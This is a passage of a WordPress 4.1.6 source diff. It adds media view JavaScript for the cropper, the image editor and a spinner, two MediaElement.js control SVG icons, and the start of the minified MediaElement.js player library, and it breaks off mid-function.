+			_.bindAll(this, 'onImageLoad');
+		},
+		ready: function() {
+			this.controller.frame.on('content:error:crop', this.onError, this);
+			this.$image = this.$el.find('.crop-image');
+			this.$image.on('load', this.onImageLoad);
+			$(window).on('resize.cropper', _.debounce(this.onImageLoad, 250));
+		},
+		remove: function() {
+			$(window).off('resize.cropper');
+			this.$el.remove();
+			this.$el.off();
+			wp.media.View.prototype.remove.apply(this, arguments);
+		},
+		prepare: function() {
+			return {
+				title: l10n.cropYourImage,
+				url: this.options.attachment.get('url')
+			};
+		},
+		onImageLoad: function() {
+			var imgOptions = this.controller.get('imgSelectOptions');
+			if (typeof imgOptions === 'function') {
+				imgOptions = imgOptions(this.options.attachment, this.controller);
+			}
+
+			imgOptions = _.extend(imgOptions, {parent: this.$el});
+			this.trigger('image-loaded');
+			this.controller.imgSelect = this.$image.imgAreaSelect(imgOptions);
+		},
+		onError: function() {
+			var filename = this.options.attachment.get('filename');
+
+			this.views.add( '.upload-errors', new media.view.UploaderStatusError({
+				filename: media.view.UploaderStatus.prototype.filename(filename),
+				message: _wpMediaViewsL10n.cropError
+			}), { at: 0 });
+		}
+	});
+
+	media.view.EditImage = media.View.extend({
+
+		className: 'image-editor',
+		template: media.template('image-editor'),
+
+		initialize: function( options ) {
+			this.editor = window.imageEdit;
+			this.controller = options.controller;
+			media.View.prototype.initialize.apply( this, arguments );
+		},
+
+		prepare: function() {
+			return this.model.toJSON();
+		},
+
+		render: function() {
+			media.View.prototype.render.apply( this, arguments );
+			return this;
+		},
+
+		loadEditor: function() {
+			var dfd = this.editor.open( this.model.get('id'), this.model.get('nonces').edit, this );
+			dfd.done( _.bind( this.focus, this ) );
+		},
+
+		focus: function() {
+			this.$( '.imgedit-submit .button' ).eq( 0 ).focus();
+		},
+
+		back: function() {
+			var lastState = this.controller.lastState();
+			this.controller.setState( lastState );
+		},
+
+		refresh: function() {
+			this.model.fetch();
+		},
+
+		save: function() {
+			var self = this,
+				lastState = this.controller.lastState();
+
+			this.model.fetch().done( function() {
+				self.controller.setState( lastState );
+			});
+		}
+
+	});
+
+	/**
+	 * wp.media.view.Spinner
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Spinner = media.View.extend({
+		tagName:   'span',
+		className: 'spinner',
+		spinnerTimeout: false,
+		delay: 400,
+
+		show: function() {
+			if ( ! this.spinnerTimeout ) {
+				this.spinnerTimeout = _.delay(function( $el ) {
+					$el.show();
+				}, this.delay, this.$el );
+			}
+
+			return this;
+		},
+
+		hide: function() {
+			this.$el.hide();
+			this.spinnerTimeout = clearTimeout( this.spinnerTimeout );
+
+			return this;
+		}
+	});
+}(jQuery, _));
Index: /tags/4.1.6/src/wp-includes/js/mediaelement/bigplay.svg
===================================================================
--- /tags/4.1.6/src/wp-includes/js/mediaelement/bigplay.svg	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/mediaelement/bigplay.svg	(revision 33402)
@@ -0,0 +1,14 @@
+<?xml version="1.0" standalone="no"?>
+<svg id="bigplay" viewBox="0 0 100 200" style="background-color:#ffffff00" version="1.1"
+	xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xml:space="preserve"
+	x="0px" y="0px" width="100px" height="200px"
+>
+	<g id="dark">
+		<path id="Polygon"  d="M 72.5 49.5 L 38.75 68.9856 L 38.75 30.0144 L 72.5 49.5 Z" fill="#ffffff" opacity="0.75" />
+		<path id="Ellipse" d="M 13 50.5 C 13 29.7891 29.7891 13 50.5 13 C 71.2109 13 88 29.7891 88 50.5 C 88 71.2109 71.2109 88 50.5 88 C 29.7891 88 13 71.2109 13 50.5 Z" stroke="#ffffff" stroke-width="5" fill="none" opacity="0.75"/>
+	</g>
+	<g id="light">
+		<path id="Polygon2"  d="M 72.5 149.5 L 38.75 168.9856 L 38.75 130.0144 L 72.5 149.5 Z" fill="#ffffff" opacity="1.0" />
+		<path id="Ellipse2" d="M 13 150.5 C 13 129.7891 29.7891 113 50.5 113 C 71.2109 113 88 129.7891 88 150.5 C 88 171.211 71.2109 188 50.5 188 C 29.7891 188 13 171.211 13 150.5 Z" stroke="#ffffff" stroke-width="5" fill="none" opacity="1.0"/>
+	</g>
+</svg>
Index: /tags/4.1.6/src/wp-includes/js/mediaelement/controls.svg
===================================================================
--- /tags/4.1.6/src/wp-includes/js/mediaelement/controls.svg	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/mediaelement/controls.svg	(revision 33402)
@@ -0,0 +1,172 @@
+<?xml version="1.0" standalone="no"?>
+<!-- Generator: Adobe Fireworks CS6, Export SVG Extension by Aaron Beall (http://fireworks.abeall.com) . Version: 0.6.1  -->
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+<svg id="controls.fw-Page%201" viewBox="0 0 144 32" style="background-color:#ffffff00" version="1.1"
+	xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xml:space="preserve"
+	x="0px" y="0px" width="144px" height="32px"
+>
+	<defs>
+		<radialGradient id="gradient1" cx="50%" cy="50%" r="50%">
+			<stop stop-color="#ffffff" stop-opacity="1" offset="0%"/>
+			<stop stop-color="#f2f2f2" stop-opacity="0.2" offset="100%"/>
+		</radialGradient>
+		<linearGradient id="gradient2" x1="50%" y1="-7.8652%" x2="50%" y2="249.6629%">
+			<stop stop-color="#ffffff" stop-opacity="1" offset="0%"/>
+			<stop stop-color="#c8c8c8" stop-opacity="1" offset="100%"/>
+		</linearGradient>
+		<linearGradient id="gradient3" x1="50%" y1="0%" x2="50%" y2="238.75%">
+			<stop stop-color="#ffffff" stop-opacity="1" offset="0%"/>
+			<stop stop-color="#c8c8c8" stop-opacity="1" offset="100%"/>
+		</linearGradient>
+		<linearGradient id="gradient4" x1="50%" y1="0%" x2="50%" y2="100%">
+			<stop stop-color="#ffffff" stop-opacity="1" offset="0%"/>
+			<stop stop-color="#c8c8c8" stop-opacity="1" offset="100%"/>
+		</linearGradient>
+		<linearGradient id="gradient5" x1="50%" y1="-33.3333%" x2="50%" y2="152.0833%">
+			<stop stop-color="#ffffff" stop-opacity="1" offset="0%"/>
+			<stop stop-color="#c8c8c8" stop-opacity="1" offset="100%"/>
+		</linearGradient>
+		<linearGradient id="gradient6" x1="50%" y1="0%" x2="50%" y2="100%">
+			<stop stop-color="#ffffff" stop-opacity="1" offset="0%"/>
+			<stop stop-color="#c8c8c8" stop-opacity="1" offset="100%"/>
+		</linearGradient>
+		<linearGradient id="gradient7" x1="50%" y1="-33.3333%" x2="50%" y2="152.0833%">
+			<stop stop-color="#ffffff" stop-opacity="1" offset="0%"/>
+			<stop stop-color="#c8c8c8" stop-opacity="1" offset="100%"/>
+		</linearGradient>
+		<linearGradient id="gradient8" x1="50%" y1="0%" x2="50%" y2="100%">
+			<stop stop-color="#ffffff" stop-opacity="1" offset="0%"/>
+			<stop stop-color="#c8c8c8" stop-opacity="1" offset="100%"/>
+		</linearGradient>
+		<linearGradient id="gradient9" x1="50%" y1="0%" x2="50%" y2="100%">
+			<stop stop-color="#ffffff" stop-opacity="1" offset="0%"/>
+			<stop stop-color="#c8c8c8" stop-opacity="1" offset="100%"/>
+		</linearGradient>
+		<linearGradient id="gradient10" x1="50%" y1="0%" x2="50%" y2="100%">
+			<stop stop-color="#ffffff" stop-opacity="1" offset="0%"/>
+			<stop stop-color="#c8c8c8" stop-opacity="1" offset="100%"/>
+		</linearGradient>
+		<linearGradient id="gradient11" x1="50%" y1="0%" x2="50%" y2="100%">
+			<stop stop-color="#ffffff" stop-opacity="1" offset="0%"/>
+			<stop stop-color="#c8c8c8" stop-opacity="1" offset="100%"/>
+		</linearGradient>
+		<linearGradient id="gradient12" x1="50%" y1="0%" x2="50%" y2="238.75%">
+			<stop stop-color="#ffffff" stop-opacity="1" offset="0%"/>
+			<stop stop-color="#c8c8c8" stop-opacity="1" offset="100%"/>
+		</linearGradient>
+		<linearGradient id="gradient13" x1="40%" y1="-140%" x2="40%" y2="98.75%">
+			<stop stop-color="#ffffff" stop-opacity="1" offset="0%"/>
+			<stop stop-color="#c8c8c8" stop-opacity="1" offset="100%"/>
+		</linearGradient>
+		<linearGradient id="gradient14" x1="50%" y1="0%" x2="50%" y2="238.75%">
+			<stop stop-color="#ffffff" stop-opacity="1" offset="0%"/>
+			<stop stop-color="#c8c8c8" stop-opacity="1" offset="100%"/>
+		</linearGradient>
+		<linearGradient id="gradient15" x1="60%" y1="-140%" x2="60%" y2="98.75%">
+			<stop stop-color="#ffffff" stop-opacity="1" offset="0%"/>
+			<stop stop-color="#c8c8c8" stop-opacity="1" offset="100%"/>
+		</linearGradient>
+		<linearGradient id="gradient16" x1="50%" y1="0%" x2="50%" y2="298.4375%">
+			<stop stop-color="#ffffff" stop-opacity="1" offset="0%"/>
+			<stop stop-color="#c8c8c8" stop-opacity="1" offset="100%"/>
+		</linearGradient>
+		<linearGradient id="gradient17" x1="50%" y1="0%" x2="50%" y2="238.75%">
+			<stop stop-color="#ffffff" stop-opacity="1" offset="0%"/>
+			<stop stop-color="#c8c8c8" stop-opacity="1" offset="100%"/>
+		</linearGradient>
+		<linearGradient id="gradient18" x1="50%" y1="-200%" x2="50%" y2="100%">
+			<stop stop-color="#ffffff" stop-opacity="1" offset="0%"/>
+			<stop stop-color="#c8c8c8" stop-opacity="1" offset="100%"/>
+		</linearGradient>
+		<linearGradient id="gradient19" x1="50%" y1="-200%" x2="50%" y2="110.9375%">
+			<stop stop-color="#ffffff" stop-opacity="1" offset="0%"/>
+			<stop stop-color="#c8c8c8" stop-opacity="1" offset="100%"/>
+		</linearGradient>
+		<linearGradient id="gradient20" x1="55%" y1="0%" x2="55%" y2="100%">
+			<stop stop-color="#ffffff" stop-opacity="1" offset="0%"/>
+			<stop stop-color="#c8c8c8" stop-opacity="1" offset="100%"/>
+		</linearGradient>
+		<linearGradient id="gradient21" x1="50%" y1="0%" x2="50%" y2="100%">
+			<stop stop-color="#ffffff" stop-opacity="1" offset="0%"/>
+			<stop stop-color="#c8c8c8" stop-opacity="1" offset="99.4444%"/>
+		</linearGradient>
+	</defs>
+	<g id="BG">
+	</g>
+	<g id="controls">
+		<path id="Line" d="M 98.5 7.5 L 109.5 7.5 " stroke="#ffffff" stroke-width="1" fill="none"/>
+		<path id="Line2" d="M 98.5 3.5 L 109.5 3.5 " stroke="#ffffff" stroke-width="1" fill="none"/>
+		<path id="Line3" d="M 98.5 11.5 L 109.5 11.5 " stroke="#ffffff" stroke-width="1" fill="none"/>
+		<path id="Ellipse" d="M 108 11.5 C 108 10.6716 108.4477 10 109 10 C 109.5523 10 110 10.6716 110 11.5 C 110 12.3284 109.5523 13 109 13 C 108.4477 13 108 12.3284 108 11.5 Z" fill="#ffffff"/>
+		<path id="Ellipse2" d="M 104 7.5 C 104 6.6716 104.4477 6 105 6 C 105.5523 6 106 6.6716 106 7.5 C 106 8.3284 105.5523 9 105 9 C 104.4477 9 104 8.3284 104 7.5 Z" fill="#ffffff"/>
+		<path id="Ellipse3" d="M 108 3.5 C 108 2.6716 108.4477 2 109 2 C 109.5523 2 110 2.6716 110 3.5 C 110 4.3284 109.5523 5 109 5 C 108.4477 5 108 4.3284 108 3.5 Z" fill="#ffffff"/>
+	</g>
+	<g id="backlight">
+		<g id="off">
+			<rect x="83" y="21" width="10" height="6" stroke="#ffffff" stroke-width="1" fill="#333333"/>
+		</g>
+		<g id="on">
+			<path id="Ellipse4" d="M 81 8 C 81 5.2385 84.134 3 88 3 C 91.866 3 95 5.2385 95 8 C 95 10.7615 91.866 13 88 13 C 84.134 13 81 10.7615 81 8 Z" fill="url(#gradient1)"/>
+			<rect x="83" y="5" width="10" height="6" stroke="#ffffff" stroke-width="1" fill="#333333"/>
+		</g>
+	</g>
+	<g id="loop">
+		<g id="on2">
+			<path d="M 73.795 4.205 C 75.2155 4.8785 76.2 6.3234 76.2 8 C 76.2 10.3196 74.3196 12.2 72 12.2 C 69.6804 12.2 67.8 10.3196 67.8 8 C 67.8 6.3234 68.7845 4.8785 70.205 4.205 L 68.875 2.875 C 67.1501 3.9289 66 5.8306 66 8 C 66 11.3138 68.6862 14 72 14 C 75.3138 14 78 11.3138 78 8 C 78 5.8306 76.8499 3.9289 75.125 2.875 L 73.795 4.205 Z" fill="url(#gradient2)"/>
+			<path d="M 71 2 L 66 2 L 71 7 L 71 2 Z" fill="url(#gradient3)"/>
+		</g>
+		<g id="off2">
+			<path d="M 73.795 20.205 C 75.2155 20.8785 76.2 22.3234 76.2 24 C 76.2 26.3196 74.3196 28.2 72 28.2 C 69.6804 28.2 67.8 26.3196 67.8 24 C 67.8 22.3234 68.7845 20.8785 70.205 20.205 L 68.875 18.875 C 67.1501 19.9289 66 21.8306 66 24 C 66 27.3138 68.6862 30 72 30 C 75.3138 30 78 27.3138 78 24 C 78 21.8306 76.8499 19.9289 75.125 18.875 L 73.795 20.205 Z" fill="#a8a8b7"/>
+			<path d="M 71 18 L 66 18 L 71 23 L 71 18 Z" fill="#a8a8b7"/>
+		</g>
+	</g>
+	<g id="cc">
+		<rect visibility="hidden" x="49" y="2" width="14" height="12" stroke="#b0b0b0" stroke-width="1" fill="none"/>
+		<text visibility="hidden" x="49" y="17" width="14" fill="#ffffff" style="font-size: 10px; color: #ffffff; font-family: Arial; text-align: center; "><tspan><![CDATA[cc]]></tspan></text>
+		<path d="M 55 7 C 50.2813 3.7813 50.063 12.9405 55 10 " stroke="#ffffff" stroke-width="1" fill="none"/>
+		<path d="M 60 7 C 55.2813 3.7813 55.063 12.9405 60 10 " stroke="#ffffff" stroke-width="1" fill="none"/>
+		<path d="M 50 3 L 62 3 L 62 13 L 50 13 L 50 3 ZM 49 2 L 49 14 L 63 14 L 63 2 L 49 2 Z" fill="url(#gradient4)"/>
+		<rect x="49" y="2" width="14" height="12" fill="none"/>
+	</g>
+	<g id="volume">
+		<g id="no%20sound">
+			<rect x="17" y="5" width="5" height="6" fill="url(#gradient5)"/>
+			<path d="M 21 5 L 25 2 L 25 14 L 21 11.0625 L 21 5 Z" fill="url(#gradient6)"/>
+		</g>
+		<g id="sound%20bars">
+			<rect x="17" y="21" width="5" height="6" fill="url(#gradient7)"/>
+			<path d="M 21 21 L 25 18 L 25 30 L 21 27.0625 L 21 21 Z" fill="url(#gradient8)"/>
+			<path d="M 27 18 C 27 18 30.0625 17.375 30 24 C 29.9375 30.625 27 30 27 30 " stroke="#ffffff" stroke-width="1" fill="none"/>
+			<path d="M 26 21.0079 C 26 21.0079 28.041 20.6962 27.9994 24 C 27.9577 27.3038 26 26.9921 26 26.9921 " stroke="#ffffff" stroke-width="1" fill="none"/>
+		</g>
+	</g>
+	<g id="play/pause">
+		<g id="play">
+			<path id="Polygon" d="M 14 8.5 L 3 14 L 3 3 L 14 8.5 Z" fill="url(#gradient9)"/>
+		</g>
+		<g id="pause">
+			<rect x="3" y="18" width="3" height="12" fill="url(#gradient10)"/>
+			<rect x="10" y="18" width="3" height="12" fill="url(#gradient11)"/>
+		</g>
+	</g>
+	<g id="fullscreen">
+		<g id="enter%201">
+			<path d="M 34 2 L 39 2 L 34 7 L 34 2 Z" fill="url(#gradient12)"/>
+			<path d="M 34 14 L 39 14 L 34 9 L 34 14 Z" fill="url(#gradient13)"/>
+			<path d="M 46 2 L 41 2 L 46 7 L 46 2 Z" fill="url(#gradient14)"/>
+			<path d="M 46 14 L 41 14 L 46 9 L 46 14 Z" fill="url(#gradient15)"/>
+		</g>
+		<g id="exit">
+			<path d="M 42 22 L 46 22 L 42 18 L 42 22 Z" fill="url(#gradient16)"/>
+			<path d="M 38 22 L 38 18 L 34 22 L 38 22 Z" fill="url(#gradient17)"/>
+			<path d="M 38 26 L 34 26 L 38 30 L 38 26 Z" fill="url(#gradient18)"/>
+			<path d="M 42 26 L 42 30 L 46 26 L 42 26 Z" fill="url(#gradient19)"/>
+		</g>
+	</g>
+	<g id="stop">
+		<rect x="115" y="3" width="10" height="10" fill="url(#gradient20)"/>
+	</g>
+	<g id="chooser">
+		<path d="M 135.2346 6.1522 C 136.2551 5.7295 137.4251 6.2141 137.8478 7.2346 C 138.2704 8.2551 137.7859 9.425 136.7654 9.8478 C 135.7449 10.2705 134.5749 9.7859 134.1522 8.7654 C 133.7295 7.7449 134.2141 6.5749 135.2346 6.1522 ZM 133.2735 1.4176 L 136 4.0054 L 138.7265 1.4176 L 138.8246 5.1754 L 142.5824 5.2735 L 139.9946 8 L 142.5824 10.7265 L 138.8246 10.8246 L 138.7265 14.5824 L 136 11.9946 L 133.2735 14.5824 L 133.1754 10.8246 L 129.4176 10.7265 L 132.0054 8 L 129.4176 5.2735 L 133.1754 5.1754 L 133.2735 1.4176 Z" fill="url(#gradient21)"/>
+	</g>
+</svg>
Index: /tags/4.1.6/src/wp-includes/js/mediaelement/mediaelement-and-player.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/mediaelement/mediaelement-and-player.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/mediaelement/mediaelement-and-player.min.js	(revision 33402)
@@ -0,0 +1,28 @@
+/*!
+ *
+ * MediaElement.js
+ * HTML5 <video> and <audio> shim and player
+ * http://mediaelementjs.com/
+ *
+ * Creates a JavaScript object that mimics HTML5 MediaElement API
+ * for browsers that don't understand HTML5 or can't play the provided codec
+ * Can play MP4 (H.264), Ogg, WebM, FLV, WMV, WMA, ACC, and MP3
+ *
+ * Copyright 2010-2014, John Dyer (http://j.hn)
+ * License: MIT
+ *
+ */
+function onYouTubePlayerAPIReady(){mejs.YouTubeApi.iFrameReady()}function onYouTubePlayerReady(a){mejs.YouTubeApi.flashReady(a)}var mejs=mejs||{};mejs.version="2.16.2",mejs.meIndex=0,mejs.plugins={silverlight:[{version:[3,0],types:["video/mp4","video/m4v","video/mov","video/wmv","audio/wma","audio/m4a","audio/mp3","audio/wav","audio/mpeg"]}],flash:[{version:[9,0,124],types:["video/mp4","video/m4v","video/mov","video/flv","video/rtmp","video/x-flv","audio/flv","audio/x-flv","audio/mp3","audio/m4a","audio/mpeg","video/youtube","video/x-youtube","application/x-mpegURL"]}],youtube:[{version:null,types:["video/youtube","video/x-youtube","audio/youtube","audio/x-youtube"]}],vimeo:[{version:null,types:["video/vimeo","video/x-vimeo"]}]},mejs.Utility={encodeUrl:function(a){return encodeURIComponent(a)},escapeHTML:function(a){return a.toString().split("&").join("&amp;").split("<").join("&lt;").split('"').join("&quot;")},absolutizeUrl:function(a){var b=document.createElement("div");return b.innerHTML='<a href="'+this.escapeHTML(a)+'">x</a>',b.firstChild.href},getScriptPath:function(a){for(var b,c,d,e,f,g,h=0,i="",j="",k=document.getElementsByTagName("script"),l=k.length,m=a.length;l>h;h++){for(e=k[h].src,c=e.lastIndexOf("/"),c>-1?(g=e.substring(c+1),f=e.substring(0,c+1)):(g=e,f=""),b=0;m>b;b++)if(j=a[b],d=g.indexOf(j),d>-1){i=f;break}if(""!==i)break}return i},secondsToTimeCode:function(a,b,c,d){"undefined"==typeof c?c=!1:"undefined"==typeof d&&(d=25);var e=Math.floor(a/3600)%24,f=Math.floor(a/60)%60,g=Math.floor(a%60),h=Math.floor((a%1*d).toFixed(3)),i=(b||e>0?(10>e?"0"+e:e)+":":"")+(10>f?"0"+f:f)+":"+(10>g?"0"+g:g)+(c?":"+(10>h?"0"+h:h):"");return i},timeCodeToSeconds:function(a,b,c,d){"undefined"==typeof c?c=!1:"undefined"==typeof d&&(d=25);var e=a.split(":"),f=parseInt(e[0],10),g=parseInt(e[1],10),h=parseInt(e[2],10),i=0,j=0;return c&&(i=parseInt(e[3])/d),j=3600*f+60*g+h+i},convertSMPTEtoSeconds:function(a){if("string"!=typeof a)return!1;a=a.replace(",",".");var b=0,c=-1!=a.indexOf(".")?a.split(".")[1].length:0,d=1;a=a.split(":").reverse();for(var e=0;e<a.length;e++)d=1,e>0&&(d=Math.pow(60,e)),b+=Number(a[e])*d;return Number(b.toFixed(c))},removeSwf:function(a){var b=document.getElementById(a);b&&/object|embed/i.test(b.nodeName)&&(mejs.MediaFeatures.isIE?(b.style.display="none",function(){4==b.readyState?mejs.Utility.removeObjectInIE(a):setTimeout(arguments.callee,10)}()):b.parentNode.removeChild(b))},removeObjectInIE:function(a){var b=document.getElementById(a);if(b){for(var c in b)"function"==typeof b[c]&&(b[c]=null);b.parentNode.removeChild(b)}}},mejs.PluginDetector={hasPluginVersion:function(a,b){var c=this.plugins[a];return b[1]=b[1]||0,b[2]=b[2]||0,c[0]>b[0]||c[0]==b[0]&&c[1]>b[1]||c[0]==b[0]&&c[1]==b[1]&&c[2]>=b[2]?!0:!1},nav:window.navigator,ua:window.navigator.userAgent.toLowerCase(),plugins:[],addPlugin:function(a,b,c,d,e){this.plugins[a]=this.detectPlugin(b,c,d,e)},detectPlugin:function(a,b,c,d){var e,f,g,h=[0,0,0];if("undefined"!=typeof this.nav.plugins&&"object"==typeof this.nav.plugins[a]){if(e=this.nav.plugins[a].description,e&&("undefined"==typeof this.nav.mimeTypes||!this.nav.mimeTypes[b]||this.nav.mimeTypes[b].enabledPlugin))for(h=e.replace(a,"").replace(/^\s+/,"").replace(/\sr/gi,".").split("."),f=0;f<h.length;f++)h[f]=parseInt(h[f].match(/\d+/),10)}else if("undefined"!=typeof window.ActiveXObject)try{g=new ActiveXObject(c),g&&(h=d(g))}catch(i){}return h}},mejs.PluginDetector.addPlugin("flash","Shockwave Flash","application/x-shockwave-flash","ShockwaveFlash.ShockwaveFlash",function(a){var b=[],c=a.GetVariable("$version");return c&&(c=c.split(" ")[1].split(","),b=[parseInt(c[0],10),parseInt(c[1],10),parseInt(c[2],10)]),b}),mejs.PluginDetector.addPlugin("silverlight","Silverlight Plug-In","application/x-silverlight-2","AgControl.AgControl",function(a){var b=[0,0,0,0],c=function(a,b,c,d){for(;a.isVersionSupported(b[0]+"."+b[1]+"."+b[2]+"."+b[3]);)b[c]+=d;b[c]-=d};return c(a,b,0,1),c(a,b,1,1),c(a,b,2,1e4),c(a,b,2,1e3),c(a,b,2,100),c(a,b,2,10),c(a,b,2,1),c(a,b,3,1),b}),mejs.MediaFeatures={init:function(){var a,b,c=this,d=document,e=mejs.PluginDetector.nav,f=mejs.PluginDetector.ua.toLowerCase(),g=["source","track","audio","video"];c.isiPad=null!==f.match(/ipad/i),c.isiPhone=null!==f.match(/iphone/i),c.isiOS=c.isiPhone||c.isiPad,c.isAndroid=null!==f.match(/android/i),c.isBustedAndroid=null!==f.match(/android 2\.[12]/),c.isBustedNativeHTTPS="https:"===location.protocol&&(null!==f.match(/android [12]\./)||null!==f.match(/macintosh.* version.* safari/)),c.isIE=-1!=e.appName.toLowerCase().indexOf("microsoft")||null!==e.appName.toLowerCase().match(/trident/gi),c.isChrome=null!==f.match(/chrome/gi),c.isChromium=null!==f.match(/chromium/gi),c.isFirefox=null!==f.match(/firefox/gi),c.isWebkit=null!==f.match(/webkit/gi),c.isGecko=null!==f.match(/gecko/gi)&&!c.isWebkit&&!c.isIE,c.isOpera=null!==f.match(/opera/gi),c.hasTouch="ontouchstart"in window,c.svg=!!document.createElementNS&&!!document.createElementNS("http://www.w3.org/2000/svg","svg").createSVGRect;for(a=0;a<g.length;a++)b=document.createElement(g[a]);c.supportsMediaTag="undefined"!=typeof b.canPlayType||c.isBustedAndroid;try{b.canPlayType("video/mp4")}catch(h){c.supportsMediaTag=!1}c.hasSemiNativeFullScreen="undefined"!=typeof b.webkitEnterFullscreen,c.hasNativeFullscreen="undefined"!=typeof b.requestFullscreen,c.hasWebkitNativeFullScreen="undefined"!=typeof b.webkitRequestFullScreen,c.hasMozNativeFullScreen="undefined"!=typeof b.mozRequestFullScreen,c.hasMsNativeFullScreen="undefined"!=typeof b.msRequestFullscreen,c.hasTrueNativeFullScreen=c.hasWebkitNativeFullScreen||c.hasMozNativeFullScreen||c.hasMsNativeFullScreen,c.nativeFullScreenEnabled=c.hasTrueNativeFullScreen,c.hasMozNativeFullScreen?c.nativeFullScreenEnabled=document.mozFullScreenEnabled:c.hasMsNativeFullScreen&&(c.nativeFullScreenEnabled=document.msFullscreenEnabled),c.isChrome&&(c.hasSemiNativeFullScreen=!1),c.hasTrueNativeFullScreen&&(c.fullScreenEventName="",c.hasWebkitNativeFullScreen?c.fullScreenEventName="webkitfullscreenchange":c.hasMozNativeFullScreen?c.fullScreenEventName="mozfullscreenchange":c.hasMsNativeFullScreen&&(c.fullScreenEventName="MSFullscreenChange"),c.isFullScreen=function(){return c.hasMozNativeFullScreen?d.mozFullScreen:c.hasWebkitNativeFullScreen?d.webkitIsFullScreen:c.hasMsNativeFullScreen?null!==d.msFullscreenElement:void 0},c.requestFullScreen=function(a){c.hasWebkitNativeFullScreen?a.webkitRequestFullScreen():c.hasMozNativeFullScreen?a.mozRequestFullScreen():c.hasMsNativeFullScreen&&a.msRequestFullscreen()},c.cancelFullScreen=function(){c.hasWebkitNativeFullScreen?document.webkitCancelFullScreen():c.hasMozNativeFullScreen?document.mozCancelFullScreen():c.hasMsNativeFullScreen&&document.msExitFullscreen()}),c.hasSemiNativeFullScreen&&f.match(/mac os x 10_5/i)&&(c.hasNativeFullScreen=!1,c.hasSemiNativeFullScreen=!1)}},mejs.MediaFeatures.init(),mejs.HtmlMediaElement={pluginType:"native",isFullScreen:!1,setCurrentTime:function(a){this.currentTime=a},setMuted:function(a){this.muted=a},setVolume:function(a){this.volume=a},stop:function(){this.pause()},setSrc:function(a){for(var b=this.getElementsByTagName("source");b.length>0;)this.removeChild(b[0]);if("string"==typeof a)this.src=a;else{var c,d;for(c=0;c<a.length;c++)if(d=a[c],this.canPlayType(d.type)){this.src=d.src;break}}},setVideoSize:function(a,b){this.width=a,this.height=b}},mejs.PluginMediaElement=function(a,b,c){this.id=a,this.pluginType=b,this.src=c,this.events={},this.attributes={}},mejs.PluginMediaElement.prototype={pluginElement:null,pluginType:"",isFullScreen:!1,playbackRate:-1,defaultPlaybackRate:-1,seekable:[],played:[],paused:!0,ended:!1,seeking:!1,duration:0,error:null,tagName:"",muted:!1,volume:1,currentTime:0,play:function(){null!=this.pluginApi&&("youtube"==this.pluginType||"vimeo"==this.pluginType?this.pluginApi.playVideo():this.pluginApi.playMedia(),this.paused=!1)},load:function(){null!=this.pluginApi&&("youtube"==this.pluginType||"vimeo"==this.pluginType||this.pluginApi.loadMedia(),this.paused=!1)},pause:function(){null!=this.pluginApi&&("youtube"==this.pluginType||"vimeo"==this.pluginType?this.pluginApi.pauseVideo():this.pluginApi.pauseMedia(),this.paused=!0)},stop:function(){null!=this.pluginApi&&("youtube"==this.pluginType||"vimeo"==this.pluginType?this.pluginApi.stopVideo():this.pluginApi.stopMedia(),this.paused=!0)},canPlayType:function(a){var b,c,d,e=mejs.plugins[this.pluginType];for(b=0;b<e.length;b++)if(d=e[b],mejs.PluginDetector.hasPluginVersion(this.pluginType,d.version))for(c=0;c<d.types.length;c++)if(a==d.types[c])return"probably";return""},positionFullscreenButton:function(a,b,c){null!=this.pluginApi&&this.pluginApi.positionFullscreenButton&&this.pluginApi.positionFullscreenButton(Math.floor(a),Math.floor(b),c)},hideFullscreenButton:function(){null!=this.pluginApi&&this.pluginApi.hideFullscreenButton&&this.pluginApi.hideFullscreenButton()},setSrc:function(a){if("string"==typeof a)this.pluginApi.setSrc(mejs.Utility.absolutizeUrl(a)),this.src=mejs.Utility.absolutizeUrl(a);else{var b,c;for(b=0;b<a.length;b++)if(c=a[b],this.canPlayType(c.type)){this.pluginApi.setSrc(mejs.Utility.absolutizeUrl(c.src)),this.src=mejs.Utility.absolutizeUrl(a);break}}},setCurrentTime:function(a){null!=this.pluginApi&&("youtube"==this.pluginType||"vimeo"==this.pluginType?this.pluginApi.seekTo(a):this.pluginApi.setCurrentTime(a),this.currentTime=a)},setVolume:function(a){null!=this.pluginApi&&(this.pluginApi.setVolume("youtube"==this.pluginType?100*a:a),this.volume=a)},setMuted:function(a){null!=this.pluginApi&&("youtube"==this.pluginType?(a?this.pluginApi.mute():this.pluginApi.unMute(),this.muted=a,this.dispatchEvent("volumechange")):this.pluginApi.setMuted(a),this.muted=a)},setVideoSize:function(a,b){this.pluginElement&&this.pluginElement.style&&(this.pluginElement.style.width=a+"px",this.pluginElement.style.height=b+"px"),null!=this.pluginApi&&this.pluginApi.setVideoSize&&this.pluginApi.setVideoSize(a,b)},setFullscreen:function(a){null!=this.pluginApi&&this.pluginApi.setFullscreen&&this.pluginApi.setFullscreen(a)},enterFullScreen:function(){null!=this.pluginApi&&this.pluginApi.setFullscreen&&this.setFullscreen(!0)},exitFullScreen:function(){null!=this.pluginApi&&this.pluginApi.setFullscreen&&this.setFullscreen(!1)},addEventListener:function(a,b){this.events[a]=this.events[a]||[],this.events[a].push(b)},removeEventListener:function(a,b){if(!a)return this.events={},!0;var c=this.events[a];if(!c)return!0;if(!b)return this.events[a]=[],!0;for(var d=0;d<c.length;d++)if(c[d]===b)return this.events[a].splice(d,1),!0;return!1},dispatchEvent:function(a){var b,c,d=this.events[a];if(d)for(c=Array.prototype.slice.call(arguments,1),b=0;b<d.length;b++)d[b].apply(this,c)},hasAttribute:function(a){return a in this.attributes},removeAttribute:function(a){delete this.attributes[a]},getAttribute:function(a){return 